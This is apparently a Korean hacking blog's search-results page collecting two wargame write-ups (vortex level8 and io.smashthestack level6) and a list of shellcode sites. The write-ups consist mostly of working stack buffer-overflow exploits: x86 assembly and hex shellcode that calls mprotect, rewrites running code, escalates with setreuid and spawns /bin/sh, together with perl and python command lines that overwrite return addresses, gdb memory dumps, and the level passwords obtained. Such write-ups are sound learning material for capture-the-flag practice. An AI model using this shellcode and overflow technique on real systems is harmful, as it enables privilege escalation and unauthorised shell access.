Search results for 'shellcode'

  1. 2010.12.09 -- vortex level8
  2. 2010.01.19 -- level6
  3. 2009.09.29 -- Shellcode site

vortex level8

2010. 12. 9. 01:21
분석한걸 대충 요약하면..
strcpy로 인해 BOF가 발생하는 unsafecode는 호출하기전에 권한설정이 현재 uid 인 510으로 설정되어
vortex9(511)의 쉘을 띄울 수가 없다. 어떻게 해야될까..

구글링을 하니 beist님이 쓰신 글이 가장 도움이 되었는데 간단히 말하면, 하나의 프로세스에서 .code 영역은 공유되므로 권한 설정 전에 호출되는 쓰레드의 코드를 직접 바꾸도록 쉘코드를 만드는 것이다.

음.. 좋아 쉘코드를 만들어 보자.

다음은 Writing shellcode for Linux and *BSD (http://www.kernel-panic.it/security/shellcode/)의 일부를 번역한 것이다.
--------------------------------------------------------------------------------------
CPU가 0x80 인터럽트를 받게되면 커널모드로 진입, IDT에서 적절한 핸들러를 얻어서 요청받은 함수를 실행한다.
System call number는 EAX에 저장되고, 함수 아규먼트는 (6개 까지) EBX, ECX, EDX, ESI, EDI, EBP 로 전달된다.
함수가 6개 이상의 아규먼트가 필요하면, 그것들을 구조체로 묶어서 첫번 째 아규먼트에 대한 포인터를 EBX에 저장한다

 
Syscall number 와 파라미터가 레지스터에 위치한 후에, 0x80 인터럽트가 실행된다. CPU는 커널모드에 진입하고,
System call을 수행한 후에 제어권을 사용자 프로세스에 반환한다.

System Call을 실행하기 위해 필요한 것은 다음과 같다.

1. Syscall Number를 EAX에 저장한다
2. Syscall 파라미터를 적절한 레지스터에 저장하거나
   파라미터를 포함하는 메모리 구조체를 만들어서 첫번 째 아규먼트의 포인터를 EBX 레지스터에 저장한다
3. 0x80 소프트웨어 인터럽트를 실행한다.

asm code에서 사용하는 system call number는 /usr/include/asm/unistd.h 에서 찾을 수 있다.

---------------------------------------------------------------------------------------------------

 

level8을 해결하기 위해 필요한 함수의 system call number는 아래와 같다.

#define __NR_execve           11
#define __NR_geteuid           49
#define __NR_setreuid           70
#define __NR_mprotect           125


먼저 핵심이 되는 mprotect.

#include <sys/mman.h>
 int mprotect(const void *addr, size_t len, int prot);

mprotect를 이용해 권한을 바꿀 주소를 살펴보자. 다음은 safecode를 디스어셈블한 내용이다.

0x08048564 <safecode+0>: push   %ebp
0x08048565 <safecode+1>: mov    %esp,%ebp
0x08048567 <safecode+3>: sub    $0x8,%esp
0x0804856a <safecode+6>: movl   $0x0,-0x4(%ebp)
0x08048571 <safecode+13>: sub    $0x8,%esp
0x08048574 <safecode+16>: pushl  -0x4(%ebp)
0x08048577 <safecode+19>: push   $0x8048708
0x0804857c <safecode+24>: call   0x8048464 <printf@plt>
0x08048581 <safecode+29>: add    $0x10,%esp
0x08048584 <safecode+32>: sub    $0xc,%esp
0x08048587 <safecode+35>: pushl  0x8049838
0x0804858d <safecode+41>: call   0x8048414 <fflush@plt>
0x08048592 <safecode+46>: add    $0x10,%esp
0x08048595 <safecode+49>: sub    $0xc,%esp
0x08048598 <safecode+52>: push   $0x1
0x0804859a <safecode+54>: call   0x8048444 <sleep@plt>
0x0804859f <safecode+59>: add    $0x10,%esp
0x080485a2 <safecode+62>: jmp    0x8048571 <safecode+13>

safecode 마지막에서 0x08048571로 반복되는 부분이 있다.  그러므로 0x08048571 부터 쉘코드를 덮어 씌운다면
jmp 문에 의해서 의도한 코드가 실행될 것이다.

처음에는 0x08048571 부분부터 코드 영역에 덮어씌울 쉘코드의 크기만큼만 권한을 바꾸려 했으나
테스트 결과 계속 세그 폴트가 났다. 으.. 영문을 모르겠어서 그냥 다음 영역 전체의 권한을 바꾸기로 했다.



따라서 mprotect는  대충 이런 모습으로 호출될 것이다.

mprotect(0x08048000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC);

mprotect는 앞서 나온 설명대로 ebx,ecx,edx에 각 파라미터를 집어넣고 0x7d로 인터럽트를 발생한다.

0x00124751 <mprotect+1>: mov    0x10(%esp),%edx
0x00124755 <mprotect+5>: mov    0xc(%esp),%ecx
0x00124759 <mprotect+9>: mov    0x8(%esp),%ebx
0x0012475d <mprotect+13>: mov    $0x7d,%eax
0x00124762 <mprotect+18>: int    $0x80

위의 정보를 토대로 asm으로 만들면

mov $0x7,%dl                  #read,write,exec 권한을 다 설정해주면 0x7로 들어간다.
mov $0x1010,%cx             #0x1000을 사이즈로 넣게되면 쉘코드에 널바이트가 있게된다.
xor %cl,%cl                    #0x1010을 넣어주고 1바이트를 xor 해줘서 0x1000을 만든다.
mov $0x08048010,%ebx     # 위와 마찬가지
xor %bl,%bl
mov $0x7d,%al                #mprotect의 syscall number 0x7d
int $0x80

최종 asm 코드는 다음과 같다.

main:
       jmp put_string

start:
        pop esi                        #stack에 들어있는 shellcode 주소를 esi에 넣는다.
        xor %eax,%eax              #사용하는 레지스터를 초기화
        xor %ebx,%ebx
        xor %ecx,%ecx
        xor %edx,%edx
        mov $0x7,%dl                 #mprotect 호출
        mov $0x1010,%cx
        xor %cl,%cl
        mov $0x08048010,%ebx
        xor %bl,%bl
        mov $0x7d,%al
        int $0x80
        xor %edx,%edx              #memcpy 전에 register 초기화
        xor %ecx,%ecx
        mov $0x08048571,%edi    #dest address를 edi에 넣는다.
        mov $0x31,%cl              #size를 ecx에 넣는다.
        mov %cl,%dl
        shr $0x2,%ecx
        cld
        rep movsd
        mov %edx,%ecx
        and $0x3,%ecx
        rep movsb

put_string:
        call start
        xor %eax,%eax
        xor %ebx,%ebx
        xor %ecx,%ecx
        mov $0x1ff,%cx             # vortex9의 uid 511을 넣는다.
        mov $0x1ff,%bx             
        mov $0x46,%al              
        int $0x80                      # setreuid(511,511);
        xor %eax,%eax
        push %eax
        push $0x68732f2f
        push $0x6e69622f          # /bin//sh 문자열을 만들어서
        mov %esp,%ebx           # ebx에 넣고
        push %eax              
        push %ebx
        mov %esp,%ecx           # 앞서 만든 문자열 주소를 ecx에 넣고  
        mov %eax,%edx           # NULL을 edx로
        mov $0xb,%al                   
        int $0x80                     # execve("/bin//sh", "/bin//sh", NULL)

위의 코드에서 뽑아낸 최종 쉘코드.

\xeb\x36\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb2\x07\x66\xb9\x10\x10\x30\xc9\xbb\x10\x80\x04\x08\x30\xdb\xb0\x7d\xcd\x80\x31\xd2\x31\xc9\xbf\x71\x85\x04\x08\xb1\x31\x88\xca\xc1\xe9\x02\xfc\xf3\xa5\x89\xd1\x83\xe1\x03\xf3\xa4\xe8\xc5\xff\xff\xff\x31\xc0\x31\xdb\x31\xc9\x66\xb9\xff\x01\x66\xbb\xff\x01\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

생성한 쉘코드를 eggshell로 환경변수에 집어넣고 unsafecode에서 strcpy 될때 ebp-0x408(1032) 부터 복사되므로 ebp까지 덮도록 1036개의 쓰레기값으로 채운 후에 ret를 eggshell의 주소로 지정해준다.

머 대충 이런식으로.. /vortex/level8 `python -c 'print "\x41"*1036+"\xf0\xff\x7f\xbf"'`

쉘이 떴다!! 오예~! 스샷은 찍기 귀찮아서..  ci41)GJhb


'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

level6

2010. 1. 19. 05:49


level6 도 소스코드가 있더군요.

level6@io:/levels$ cat level6.c

#include<string.h>

// The devil is in the details - nnp

void copy_buffers(char *argv[])
{
    char buf1[32], buf2[32], buf3[32];                    

    strncpy(buf2, argv[1], 31);                             argv[1]은 buf2로 31만큼 복사
    strncpy(buf3, argv[2], sizeof(buf3));                argv[2]는 buf3로 32만큼 복사
    strcpy(buf1, buf3);                                        buf3를 buf1으로 복사

}

int main(int argc, char *argv[])
{
    copy_buffers(argv);
    return 0;
}




buf1, buf2, buf3는 메모리상에 연속된 공간입니다. 버퍼의 마지막을 구분하는건 NULL 값인데
argv[2]의 값을 buf3로 복사할때
32개의 값을 주게되면 buf2와 buf3는 연속된 공간으로 인식 될 것입니다.
따라서 strcpy 구문을 이용해 BOF를 발생시킬 수 있습니다.


라고 가정하였습니다; 확인해봅시다.


level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x31'`

level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x32'`
Segmentation fault

네. 다행입니다; 이제 스택을 확인 한 후 쉘코드를 올려보겠습니다.

우선 copy_buffers 함수



gdb) disas copy_buffers
Dump of assembler code for function copy_buffers:
0x08048394 <copy_buffers+0>:    push   %ebp
0x08048395 <copy_buffers+1>:    mov    %esp,%ebp
0x08048397 <copy_buffers+3>:    sub    $0x78,%esp                      stack을 120만큼 확장
0x0804839a <copy_buffers+6>:    mov    0x8(%ebp),%eax                argv[0]을 eax로
0x0804839d <copy_buffers+9>:    add    $0x4,%eax                         eax를 4만큼 증가 -> argv[0+1]
0x080483a0 <copy_buffers+12>:   mov    (%eax),%eax                    eax의 어드레스를 eax로
0x080483a2 <copy_buffers+14>:   movl   $0x1f,0x8(%esp)                31을 esp+8로
0x080483aa <copy_buffers+22>:   mov    %eax,0x4(%esp)               argv[1]을 esp+4로
0x080483ae <copy_buffers+26>:   lea    0xffffffc0(%ebp),%eax           ebp-64 의 주소를 eax로 -> buf2
0x080483b1 <copy_buffers+29>:   mov    %eax,(%esp)                   eax의 주소를 esp로
0x080483b4 <copy_buffers+32>:   call   0x80482b4 <strncpy@plt>
0x080483b9 <copy_buffers+37>:   mov    0x8(%ebp),%eax             
0x080483bc <copy_buffers+40>:   add    $0x8,%eax                      인덱스를 2만큼 증가 -> argv[2]
0x080483bf <copy_buffers+43>:   mov    (%eax),%eax
0x080483c1 <copy_buffers+45>:   movl   $0x20,0x8(%esp)
0x080483c9 <copy_buffers+53>:   mov    %eax,0x4(%esp)
0x080483cd <copy_buffers+57>:   lea    0xffffffa0(%ebp),%eax        ebp-96의 주소를 eax로  -> buf3
0x080483d0 <copy_buffers+60>:   mov    %eax,(%esp)
0x080483d3 <copy_buffers+63>:   call   0x80482b4 <strncpy@plt>
0x080483d8 <copy_buffers+68>:   lea    0xffffffa0(%ebp),%eax       
0x080483db <copy_buffers+71>:   mov    %eax,0x4(%esp)             ebp-96을 esp+4 로
0x080483df <copy_buffers+75>:   lea    0xffffffe0(%ebp),%eax
0x080483e2 <copy_buffers+78>:   mov    %eax,(%esp)                  ebp-32를 esp로         ->buf1
0x080483e5 <copy_buffers+81>:   call   0x80482d4 <strcpy@plt>
0x080483ea <copy_buffers+86>:   leave
0x080483eb <copy_buffers+87>:   ret
End of assembler dump.

       


argv
ret address
ebp
buf1    ---- ebp-32
buf2    ---- ebp-64
buf3    ---- ebp-96

스택의 모양이 위와 같고 63 byte 를 이용할 수 있습니다.(buf3+buf2의 크기)

buf1의 크기가 32바이트 이므로 retrun address를 덮어 씌울려면 40 byte가 필요합니다. 공격코드는 아래와 같은 형태입니다.
[Shellcode][Shellcode`s address][NOP]

         
level5에서 만든 쉘코드의 크기는 45 byte이므로 보다 작은 코드(25byte)를 이용하겠습니다. (http://milw0rm.com/shellcode/6272 참조)

"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";


NOP의 주소를 확인하기 위해 gdb에서 0x080483ea <copy_buffers+86>:   leave 에breakpoint를 걸었습니다.

(gdb) r `perl -e 'print "A"x31," ","\x90"x32'`
Starting program: /levels/level6 `perl -e 'print "A"x31," ","\x90"x32'`

Breakpoint 1, 0x080483ea in copy_buffers ()
(gdb) info reg esp
esp            0xbfffdc80       0xbfffdc80
(gdb) x/150x 0xbfffdc80
0xbfffdc80:     0xbfffdcd8      0xbfffdc98      0x00000020      0x00000000
0xbfffdc90:     0x00000000      0x00000000      0x90909090      0x90909090
0xbfffdca0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcb0:     0x90909090      0x90909090      0x4141
4141      0x41414141
0xbfffdcc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdcd0:     0x41414141      0x00414141      0x90909090      0x90909090
0xbfffdce0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcf0:     0x90909090      0x90909090       0x41414141      0x41414141
0xbfffdd00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdd10:     0x41414141      0x00414141      0xbfffdd68       0x00d52ea8
0xbfffdd20:     0x00000003      0xbfffdd94       0xbfffdda4       0x00000000
0xbfffdd30:     0x00e6bff4      0x00000000       0x00ed9cc0      0xbfffdd68
0xbfffdd40:     0xbfffdd20       0x00d52e6d     0x00000000      0x00000000
0xbfffdd50:     0x00000000      0x00ecf090      0x00d52ded      0x00ed9ff4
...



buf2와 buf3가 연달아 복사되서 오버플로우를 확인할 수 있네요. buf3는 0xbfffdc98 부터 이며 return address0xbfffdcbc 입니다.

최종 공격코드 입니다.


"\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 

level6@io:/levels$ ./level6 `perl -e 'print "\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 /levels/level6 `python -c 'print "\x90"*4+"\x78\xdc\xff\xbf"+"\x90"*23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7'`

sh-3.1$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1006(level6)

sh-3.1$ cat /home/level7/.pass
arg4sans---->  qpapbi2w

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

Shellcode site

2009. 9. 29. 16:58


제목 그대로 shellcode에 대한 사이트.


Shell-storm.org : http://www.shell-storm.org/

Shellcode.org : http://shellcode.org/  -> 없어짐

Metasploit.com : http://www.metasploit.com/

Projectshellcode : http://www.projectshellcode.com/

'Sabzil' 카테고리의 다른 글

Optimus G Pro(F240) rooting  (0) 2013.07.12
Linux Oracle GUI client  (0) 2013.05.15
Ubuntu 12.10 에서 libboost1.48-all-dev 가 설치 되지 않을 때  (3) 2013.02.14
how to set debug environment for android  (0) 2012.09.14
oracle sql injection with rownum  (0) 2011.09.01
hey JJAAPPPHH ~  (4) 2009.08.17
hey JaPH  (1) 2009.08.12
6회 kisa 해킹방어대회 6번  (0) 2009.07.09
ABI (Application Binary Interface)  (0) 2009.03.17
Nefif_rx  (0) 2009.03.17

badcob Sabzil